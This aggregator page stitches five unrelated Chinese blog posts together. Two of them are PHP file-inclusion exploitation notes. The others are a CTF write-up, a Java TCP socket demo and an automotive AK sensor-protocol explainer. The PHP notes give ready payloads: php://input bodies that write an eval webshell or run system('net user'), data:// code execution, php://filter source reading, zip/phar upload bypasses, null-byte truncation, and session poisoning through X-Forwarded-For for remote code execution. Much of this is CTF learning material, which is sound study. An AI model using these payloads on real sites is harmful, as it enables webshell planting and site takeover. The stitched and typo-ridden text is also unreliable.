GVKun编程网logo

PHP伪协议学习(php伪协议总结)

18

本文将为您提供关于PHP伪协议学习的详细介绍,我们还将为您解释php伪协议总结的相关知识,同时,我们还将为您提供关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终

本文将为您提供关于PHP伪协议学习的详细介绍,我们还将为您解释php伪协议总结的相关知识,同时,我们还将为您提供关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE、213 tcp 协议学习、ACTF2020新生赛 include-PHP伪协议、AK 传输协议学习的实用信息。

本文目录一览:

PHP伪协议学习(php伪协议总结)

PHP伪协议学习(php伪协议总结)

常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file

PHP.ini:
allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。
allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。
本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

0x01 是否截断问题:
本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。

情况一:不需要截断:

http://127.0.0.1/test.PHP?file=file:///c:/users/ctf/desktop/flag.txt

<?PHP

include($_GET['file'])

?>

情况二:需要截断:

在PHP版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.PHP?file=file:///c:/users/ctf/desktop/flag.txt%00

<?PHP

include($_GET['file'].'.PHP')

?>

0x02 allow_url_fopen与allow_url_include是否开启的问题:

【file://协议】

PHP.ini:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响
参考链接

使用方法:
file:// [文件的绝对路径和文件名]
http://127.0.0.1/cmd.PHP?file=file://D:/ctf/PHPStudy/WWW/flag.txt

【PHP://协议】

条件:
不需要开启allow_url_fopen,仅PHP://input、 PHP://stdin、 PHP://memory 和 PHP://temp 需要开启allow_url_include。

PHP:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是PHP://filter和PHP://input,PHP://filter用于读取源码,PHP://input用于执行PHP代码。
参考链接
PHP://filter 读取源代码并进行base64编码输出,不然会直接当做PHP代码执行就看不到源代码内容了。

PHP.ini:
PHP://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

http://127.0.0.1/cmd.PHP?file=PHP://filter/read=convert.base64-encode/resource=./cmd.PHP

PHP://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:
allow_url_fopen :off/on
allow_url_include:on

测试现象:

http://127.0.0.1/cmd.PHP?file=PHP://input

[POST DATA] <?PHP PHPinfo()?>

也可以POST如下内容生成一句话: <?PHP fputs(fopen("shell.PHP","w"),'<?PHP eval($_POST["cmd"];?>');?>

【zip://, bzip2://, zlib://协议】

PHP.ini:
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。
参考链接

【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.PHP?file=zip://D:/soft/PHPStudy/WWW/file.jpg%23PHPcode.txt

先将要执行的PHP代码写好文件名为PHPcode.txt,将PHPcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。
由于'#'在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

将PHPinfo.txt压缩成zip,实战中可以改后缀为jpg绕过上传限制。

http://192.168.43.173:8999/lsawebtest/PHPtest/PHProtocol1.PHP?file=zip://C:/PHPStudy/PHPTutorial/WWW/lsawebtest/PHPtest\PHPinfo.jpg%23PHPinfo.txt

注意要用绝对路径+url编码#

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.PHP?file=compress.bzip2://D:/soft/PHPStudy/WWW/file.jpg

http://127.0.0.1/cmd.PHP?file=compress.bzip2://./file.jpg

【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.PHP?file=compress.zlib://D:/soft/PHPStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.PHP?file=compress.zlib://./file.jpg

【data://协议】

data:// 协议是是受限于allow_url_fopen的

PHP.ini:
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on

参考链接
官方文档上allow_url_fopen应为yes。

测试现象:

http://127.0.0.1/cmd.PHP?file=data://text/plain,<?PHP PHPinfo()?>

http://127.0.0.1/cmd.PHP?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.PHP?file=data:text/plain,<?PHP PHPinfo()?>

http://127.0.0.1/cmd.PHP?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

这里借鉴一个图:

在这里插入图片描述

参考资料:
资料1
资料2

11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE

11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE

远程文件包含利用知识

配置条件:

Allow_url_fopen打开

Allow_url_include打开

%00截断(php<5.3版本)

%00截断:http://127.0.0.1/include/test.php?file=file1.html%00

有后缀名限制的文件包含

Include($_GET[“file”].”.php”);

 

<?php include("./up/".$_GET["file"]);?>

127.0.0.1/include/test.php?file=../../../../123.txt 这样的会直接目录跳转

 

同时又前后缀限制,需要重点考虑后缀名的绕过,方法如下:

%00截断

路径长度截断

?file=../../../../../boot.ini/./././.~~~~./././

PHP<5.2.8可以成功,linux需要文件名长于4096windows需要长于256

 

PHP伪协议

Include($_POST[“a”]);

a=如下

 

 

zip://     处理zip数据流

phar://   处理rar数据流

 

 

 

PHP协议getpost自己看着定)

?file=php://input    POST:<? phpinfo();?>

利用条件:allow_url_include = On,对allow_url_fopen不做要求

 

如果将POST的数据修改为:

<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[''cmd'']);?>");?>    

在当前的页面的目录下生成shell.php

 include($_POST[“a”]);

a=php://input&<?php system(''net user'');?>

 

 php://filter  

条件:无

读取文件中内容(站点源码或者其他敏感文件)

file=php://filter/read=convert.base64-encode/resource=index.php

file=php://filter/convert.base64-encode/resource=index.php

file=php://filter/string.rot13/resource=index.php

 

string.rot13 对字符串执行ROT13转换

string.toupper转换为大写

string.tolower 转换为小写

string.strip_tags去除htmlphp标记

convert.base64-encode & convert.base64-decode base64编码/解码

 

<?php phpinfo();?>--ROT13--> <?cuc cucvasb();?>  te.php

file=php://filter/string.rot13/resource=te.php  (最后直接执行)

如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况,

则该方法仅限于当short_open_tag不开启的时候,读出来之后rot13解密即可!

 

Phpar://   

要求:php>=5.30

ifno.txt打包成zip文件放到服务器目录中

相对路径访问:

127.0.0.1/include/test.php?a=phar://info.zip/info.txt

绝对路径访问:

127.0.0.1/include/test.php?a=phar://文件地址

 

zip://

要求:php>=5.3

只能使用绝对路径访问,并且将在压缩包后的/改为%23 #url写法)

127.0.0.1/include/test.php?a=phar://文件地址/ifno.zip%23info.txt

 

data://

条件:php>5.2

Allow_url_fopne=on

Allow_url_include=on

127.0.0.1/include/test.php?a=data://text/plain,<?php phpinfo();?>

 

注意有,

变形:64位加密并换为url

127.0.0.1/include/test.php?a=data://text/plain;base64,<?php phpinfo();?>(继续变)

127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+(继续变)

127.0.0.1/include/test.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b(可用)

 

 

 

文件包含漏洞包含本地session最终实现RCE

Step1:找到文件包含漏洞点:127.0.0.1/fileInclude/nojieduan.php?file=test.txt

Step2:审计代码,发现可以往session文件中写入恶意代码(自己写)

 

 

 

修改浏览器中的参数x-forwarded-for的值

 

 

 

再次访问页面,就会在session中写入刚刚的值

 

 

 

从下面我们能知道该session的名称,或者直接文件中找

 

 

 

 

 

 

之后访问就能成功执行漏洞的语句127.0.0.1/fileInclude/nojieduan.php?file=D:\phpstudy_pro\Extensions\tmp\tmp\sess_f5ia0fjppgdriretmrh4bvq0u4

 

 

 

session文件开头一般是sess_

 

 

 

Step3:包含执行里面的恶意代码

 

共享文件实现有限条件下的远程文件包含

allow_url_inculdeallow_url_fopen都是off的时候直接通过HTTP去进行远程文件包含会包含失败,但是可以通过SMB协议在这种情况下进行远程文件包含

 

 

213 tcp 协议学习

213 tcp 协议学习

目的:学习tcp协议

参考文档:

https://blog.csdn.net/va110120/article/details/78831291

https://blog.csdn.net/kangkangwanwan/article/details/78839822

1.效果

2. 代码

服务端:

package cn.server;

import java.io.IOException;
import java.io.OutputStream;
import java.net.ServerSocket;
import java.net.Socket;
@SuppressWarnings("all")
public class TcpServer {
        public static void main(String[] args) throws IOException, InterruptedException {
            //创建服务器端,端口号为8002  
            
            ServerSocket server =    new ServerSocket(8002);
            //获取客户端的输出流  
            Socket client = server.accept();
            //获取客户端的输出流
            OutputStream os = client.getOutputStream();
            // System.out.println("开始与客户端进行交互"); 
            //向客户端输出数据  
             os.write(("你好  tcp").getBytes());  
             Thread.sleep(3000);
               //结束与客户端的交互  
            //    System.out.println("结束与客户端的交互");  
                //关闭连接  
                os.close();  
                client.close();  
        }
}
 

客户端:

package cn.customer;

import java.io.IOException;
import java.io.InputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;

public class Customer {
    public static void main(String[] args) throws UnknownHostException, IOException {
        //创建客户端  
        Socket client= new Socket(InetAddress.getLocalHost(),8002);
        //得到接收数据的流  
        InputStream is = client.getInputStream();
        //将接收的数据放到缓冲区b
        byte[] b =    new byte[1024];
        int len = is.read(b);
        //将缓存区中的数据输出
        System.err.println(new String(b, 0, len));
        //关闭输入流、scoke连接  
        client.close();  
    }
}
 

ACTF2020新生赛 include-PHP伪协议

ACTF2020新生赛 include-PHP伪协议

PHP伪协议是什么

PHP伪协议(PHP pseudo-protocols)是一种PHP编程语言中的特殊功能,它允许开发者通过URL或文件路径来访问和处理各种数据源,包括文件、网络资源和其他数据。

PHP伪协议怎么用

这些伪协议在URL中以一种类似于标准协议(如HTTP、FTP等)的方式出现

PHP伪协议原理是什么

PHP解释器会处理不同的伪协议,并将它们映射到适当的处理程序和资源,过程为

  1. URL解析:当PHP脚本中包含一个使用伪协议的URL时,PHP解释器首先会解析这个URL,识别伪协议的部分(例如php://、file://等)以及相关的路径和参数。
  2. 伪协议处理器:一旦解析了伪协议,PHP解释器会确定要使用的伪协议处理器。每个伪协议都有对应的处理器,负责处理该伪协议所代表的操作。例如,file伪协议处理器用于处理本地文件,http伪协议处理器用于处理HTTP请求,等等。
  3. 资源访问:伪协议处理器会根据URL中的信息执行相应的操作,例如,如果是读取文件,它会打开文件并返回文件内容;如果是HTTP请求,它会发送HTTP请求并返回响应内容。
  4. 流操作:对于php://伪协议,它允许对PHP的输入和输出流进行操作。例如,php://stdin用于读取标准输入,php://stdout用于写入标准输出。这对于命令行脚本和程序的输入输出非常有用。

解题

打开题目,只有一个超链接
image.png
点击超链接 链接为http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
通过file参数访问flag.php这个文件,然后将文件内容显示在网页上image.png
页面内容只有一句话Can you find out the flag?但是flag应该就在这个文件里了,只是因为某种原因显示不出来
用php伪协议php://来指定用base64编码输出文件内容(php伪协议允许对PHP的输入和输出流就行处理 包括编码)
payload=file=php://filter/read=convert.base64-encode/resource=flag.php
image.png
得到一串base64编码字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NDg5MzhlNjMtMTdmYi00NjdkLTk5MzQtNGVmZWY4MDJjNDVkfQo=
解密后得到

<?php
echo "Can you find out the flag?";
//flag{48938e63-17fb-467d-9934-4efef802c45d}

得到flag=flag{48938e63-17fb-467d-9934-4efef802c45d}

当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=flag.php
PHP处理器会执行php中的代码,所以显示的是Can you find out the flag?

但是当url=http://e816c4f7-9a29-4114-86c7-aad0b0a91003.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode/resource=flag.php
PHP无法执行这串被编码的字符,就会直接输出

AK 传输协议学习

AK 传输协议学习

本文资料来自 KMI25/2; KMI25/4 的产品数据手册,如有不对的地方,欢迎大家指正。

AK 协议用于数据信号的传输,它是一种轮速传感器(WSS)和电子控制单元(ECU)的标准接口。由传感器产生的信号经过信号调理单元处理,产生速度信号和数据信号。

1.AK 信号的定义

AK 信号的格式如 Fig 6 所示。
在这里插入图片描述

一帧 AK 信号包含速度脉冲 (speed pulse) 和数据协议位 (data protocol bits),对应着速度信号和数据信号。速度脉冲反映齿轮的结构,且可根据相邻两个速度脉冲的时间间隔算出轮速。数据协议位表示其他额外信息,比如旋转方向、场幅度 (field amplitude) 等内容。AK 信号是通过改变电流的大小来传输数据,电流分为三级。高等级电流 (I_CCH,HIGH-level supply current),一般取 28mA,用于速度脉冲;中等级电流 (I_CCM,MID-level supply current),一般取 14mA,用于数据协议位;低等级电流 (I_CCL,LOW-level supply current),一般取 7mA,用于表示信号中的低电平。
在这里插入图片描述

当传感器检测到过零输入信号时(即检测到磁场为 0),延时 t_d(70~121us)后输出一个速度脉冲,脉冲宽度为 t_p(通常为 50us)。速度脉冲后面是最多有 9 个的数据单元,每个数据单元表示 1 位数据,每个数据单元的时长为 t_p。在速度脉冲和数据协议位的第一个数据单元之间存在 t_p/2 的时间间隔。
下图 (Fig 7) 是协议数据位的表示方法。在数据单元的时间段内,若检测到电流上升沿则表示数据 1,电流下降沿表示数据 0。若不存在电流边沿,则该位数据无效。
在这里插入图片描述

协议数据位最多有 9 位,每一位的定义如 Table 4。
在这里插入图片描述

2 AK 信号的两种状态

根据输入信号的频率不同,发出的 AK 信号将会有两种状态:低速运行和高速运行。

2.1 低速运行

当输入信号频率较低,以至于距离上次检测到过零输入信号的时间已超过 T_stop(通常为 150ms),则将信号重新发送一遍,但速度脉冲用电流大小为 I_CCM 的人工速度脉冲代替。若 T_stop 后依然未检测到过零输入信号,继续重复发送。如果在 1 秒内没有检测到过零信号,或相关迟滞电平在 250 毫秒内没有通过,系统进入低速模式,协议数据位中的模式位 (M) 由 0 变为 1。在重复发送信号时,若一帧信号还没发送完时检测到了过零信号输入,则发送新速度脉冲之前终止重复传输。因存在延时 t_d,所以在检测到过零信号后正在发送的数据单元可以正常发送完毕,并且发送新速度脉冲前存在至少 t_p/2 的时间间隔。如 Fig 8 所示。
在这里插入图片描述

2.2 高速运行
当输入信号的频率很高时,速度脉冲后面的 9 个数据单元并不一定会全部发送,但正在发送的数据单元都可以正常发送完毕,而且每帧数据一定存在一个速度脉冲。这种运行状态和低速运行中重复发送信号的终止方式一致,如 Fig 8 所示。

相关参数

在这里插入图片描述

在这里插入图片描述

我们今天的关于PHP伪协议学习php伪协议总结的分享已经告一段落,感谢您的关注,如果您想了解更多关于11.12远程文件包含利用知识、PHP伪协议、文件包含漏洞包含本地session最终实现RCE、213 tcp 协议学习、ACTF2020新生赛 include-PHP伪协议、AK 传输协议学习的相关信息,请在本站查询。

本文标签: